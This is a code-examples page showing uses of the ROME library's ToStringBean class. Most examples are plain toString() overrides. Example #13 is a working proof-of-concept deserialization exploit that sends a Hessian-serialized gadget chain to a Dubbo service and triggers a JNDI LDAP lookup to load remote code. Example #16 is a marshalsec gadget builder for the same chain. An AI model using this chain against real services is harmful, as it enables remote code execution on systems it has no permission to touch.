com.rometools.rome.feed.impl.ToStringBean Java Examples

The following examples show how to use com.rometools.rome.feed.impl.ToStringBean. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: Forecast.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(Forecast.class, this);
}
 
Example #2
Source File: Text.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(this.getClass(), this);
}
 
Example #3
Source File: Credit.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(this.getClass(), this);
}
 
Example #4
Source File: MediaEntryModuleImpl.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(MediaEntryModuleImpl.class, this);
}
 
Example #5
Source File: MediaContent.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(MediaContent.class, this);
}
 
Example #6
Source File: Hash.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(this.getClass(), this);
}
 
Example #7
Source File: PlayerReference.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(this.getClass(), this);
}
 
Example #8
Source File: Category.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(this.getClass(), this);
}
 
Example #9
Source File: Thumbnail.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(this.getClass(), this);
}
 
Example #10
Source File: MediaGroup.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(this.getClass(), this);
}
 
Example #11
Source File: AtomLinkModuleImpl.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(AtomLinkModuleImpl.class, this);
}
 
Example #12
Source File: Metadata.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(Metadata.class, this);
}
 
Example #13
Source File: RomePoc.java    From learnjavabug with MIT License 4 votes vote down vote up
public static void main(String[] args) throws Exception {
  JdbcRowSetImpl rs = new JdbcRowSetImpl();
  //todo 此处填写ldap url
  rs.setDataSourceName("ldap://127.0.0.1:43658/Calc");
  rs.setMatchColumn("foo");
  Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);

  ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
  EqualsBean root = new EqualsBean(ToStringBean.class, item);

  HashMap s = new HashMap<>();
  Reflections.setFieldValue(s, "size", 2);
  Class<?> nodeC;
  try {
    nodeC = Class.forName("java.util.HashMap$Node");
  }
  catch ( ClassNotFoundException e ) {
    nodeC = Class.forName("java.util.HashMap$Entry");
  }
  Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
  nodeCons.setAccessible(true);

  Object tbl = Array.newInstance(nodeC, 2);
  Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
  Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
  Reflections.setFieldValue(s, "table", tbl);

  ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

  // header.
  byte[] header = new byte[16];
  // set magic number.
  Bytes.short2bytes((short) 0xdabb, header);
  // set request and serialization flag.
  header[2] = (byte) ((byte) 0x80 | 0x20 | 2);

  // set request id.
  Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

  ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
  Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
  NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
  sf.setAllowNonSerializable(true);
  out.setSerializerFactory(sf);

  out.writeObject(s);

  out.flushBuffer();
  if (out instanceof Cleanable) {
    ((Cleanable) out).cleanup();
  }

  Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
  byteArrayOutputStream.write(header);
  byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());

  byte[] bytes = byteArrayOutputStream.toByteArray();

  //todo 此处填写被攻击的dubbo服务提供者地址和端口
  Socket socket = new Socket("127.0.0.1", 20880);
  OutputStream outputStream = socket.getOutputStream();
  outputStream.write(bytes);
  outputStream.flush();
  outputStream.close();
}
 
Example #14
Source File: ThreadingModuleImpl.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(ThreadingModuleImpl.class, this);
}
 
Example #15
Source File: Atmosphere.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(Atmosphere.class, this);
}
 
Example #16
Source File: Rome.java    From marshalsec with MIT License 4 votes vote down vote up
default <T> Object makeROMEAllPropertyTrigger ( UtilFactory uf, Class<T> type, T obj ) throws Exception {
    ToStringBean item = new ToStringBean(type, obj);
    EqualsBean root = new EqualsBean(ToStringBean.class, item);
    return uf.makeHashCodeTrigger(root);
}
 
Example #17
Source File: Units.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(Units.class, this);
}
 
Example #18
Source File: Astronomy.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(Astronomy.class, this);
}
 
Example #19
Source File: Condition.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(Condition.class, this);
}
 
Example #20
Source File: Wind.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(Wind.class, this);
}
 
Example #21
Source File: Location.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(Location.class, this);
}
 
Example #22
Source File: License.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(License.class, this);
}
 
Example #23
Source File: CreativeCommonsImpl.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(CreativeCommonsImpl.class, this);
}
 
Example #24
Source File: SleEntryImpl.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(SleEntryImpl.class, this);
}
 
Example #25
Source File: Sort.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(Sort.class, this);
}
 
Example #26
Source File: Group.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(Group.class, this);
}
 
Example #27
Source File: PodloveSimpleChapterModuleImpl.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(PodloveSimpleChapterModuleImpl.class, this);
}
 
Example #28
Source File: PhotocastModuleImpl.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(PhotocastModuleImpl.class, this);
}
 
Example #29
Source File: Attribute.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(Attribute.class, this);
}
 
Example #30
Source File: Outline.java    From rome with Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(Outline.class, this);
}